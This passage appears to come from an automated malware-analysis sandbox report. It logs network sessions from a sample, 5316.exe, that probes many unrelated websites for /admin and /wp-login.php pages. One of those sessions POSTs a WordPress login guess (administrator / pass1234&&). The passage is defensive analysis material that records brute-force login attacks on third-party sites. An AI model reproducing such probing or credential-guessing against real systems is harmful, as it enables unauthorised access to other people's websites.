22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 Data Ascii: n-left:0px; min-width:273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="c
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 2f 73 70 61 6e 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e Data Ascii: /span><a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c Data Ascii: class="container"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 Data Ascii: class="circularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.4	52639	192.252.146.15	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	374	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:40 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:40 UTC	7818	IN	Data Raw: 31 66 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 Data Ascii: 1f0d<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Two Hills Studio — WordPress</title><script type="text/javascript">function theChampLoadEvent(e){var
2023-12-20 02:13:40 UTC	137	IN	Data Raw: 75 6e 74 69 6d 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 Data Ascii: untime-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.1
2023-12-20 02:13:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:40 UTC	1647	IN	Data Raw: 36 36 33 0d 0a 35 2e 30 27 20 69 64 3d 27 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 31 36 39 64 33 63 66 38 65 38 64 39 35 61 33 64 36 64 35 27 20 69 64 3d 27 77 70 2d 68 6f 6f 6b 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d Data Ascii: 6635.0' id='wp-polyfill-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5' id='wp-hooks-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.4	52522	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	170	OUT	GET /admin HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:40 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:40 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:40 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	53006	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	179	OUT	GET /admin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	653	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038419.3261655779706232668 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:40 GMT Age: 2 X-Served-By: cache-dfw-kdfw8210161-DFW X-Cache: HIT Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:40 UTC	599	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:40 UTC	1252	IN	Data Raw: 20 2f 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 74 79 6c 65 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 73 74 79 6c 65 73 2e 63 73 73 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 6c 61 6e 67 3d 22 65 6e 22 20 6e 67 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3d 22 45 72 72 6f 72 50 61 67 65 43 6f 6e 74 72 6f 6c 6c 65 72 20 61 73 20 65 72 72 6f 72 50 61 67 65 43 74 72 6c 22 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 70 61 67 65 2d 61 70 70 22 20 6e 67 2d 63 6c 61 73 73 3d 22 7b Data Ascii: /> ... --> <link rel="stylesheet" href="//static.parastorage.com/services/wix-public/1.719.0/styles/error-pages/styles.css"> ... --></head><body lang="en" ng-controller="ErrorPageController as errorPageCtrl" class="error-page-app" ng-class="{
2023-12-20 02:13:40 UTC	1078	IN	Data Raw: 0a 0a 3c 73 63 72 69 70 74 3e 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 73 74 61 74 69 63 73 55 72 6c 27 2c 20 27 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 62 61 73 65 44 6f 6d 61 69 6e 27 2c 20 27 77 69 78 2e 63 6f 6d 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 6c 61 6e 67 75 61 67 Data Ascii: <script> angular.module('wixErrorPagesApp').constant('staticsUrl', '//static.parastorage.com/services/wix-public/1.719.0/'); angular.module('wixErrorPagesApp').constant('baseDomain', 'wix.com'); angular.module('wixErrorPagesApp').constant('languag

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	53197	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	178	OUT	GET /admin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	653	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038419.5181657351050212110 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:40 GMT Age: 2 X-Served-By: cache-dfw-kdfw8210128-DFW X-Cache: HIT Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_hit, dc;desc=fastly_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:40 UTC	1252	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:40 UTC	1252	IN	Data Raw: 5d 2d 2d 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 61 6e 67 75 6c 61 72 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e Data Ascii: ]--><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/angular.min.js"></script> ... --><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.
2023-12-20 02:13:40 UTC	425	IN	Data Raw: 65 72 72 6f 72 50 61 67 65 43 74 72 6c 2e 65 72 72 6f 72 50 61 67 65 55 72 6c 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 68 65 61 64 65 72 22 3e 45 72 72 6f 72 20 34 30 34 2d 4e 6f 74 42 72 61 6e 64 65 64 20 6f 63 63 75 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f Data Ascii: errorPageCtrl.errorPageUrl"> <div class="non-angular-supported-browser-wrapper"> <h1 class="non-angular-supported-browser-header">Error 404-NotBranded occurred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we reco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	53324	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/wp-login.php Content-Length: 144 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:40 UTC	144	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 70 61 73 73 31 32 33 34 25 32 36 25 32 36 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=pass1234%26%26&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Factivegraphics.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:41 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:40 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:41 UTC	5709	IN	Data Raw: 31 36 34 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 1640<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	53482	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	172	OUT	GET /admin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	886	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845e1218f9daf9-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kWWB3ul3fH6Unvd5maqlkt6IuoYL9MWxb1pXvh1qScmSW0Yurjfvu1ClAuwCbD1Kszpueh1UHkhwLgoXtVxh6%2Fis4gXps5kF7HuqSq%2BJfAT1cx7M4JJrMl60ZYBN2%2FEM0iw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
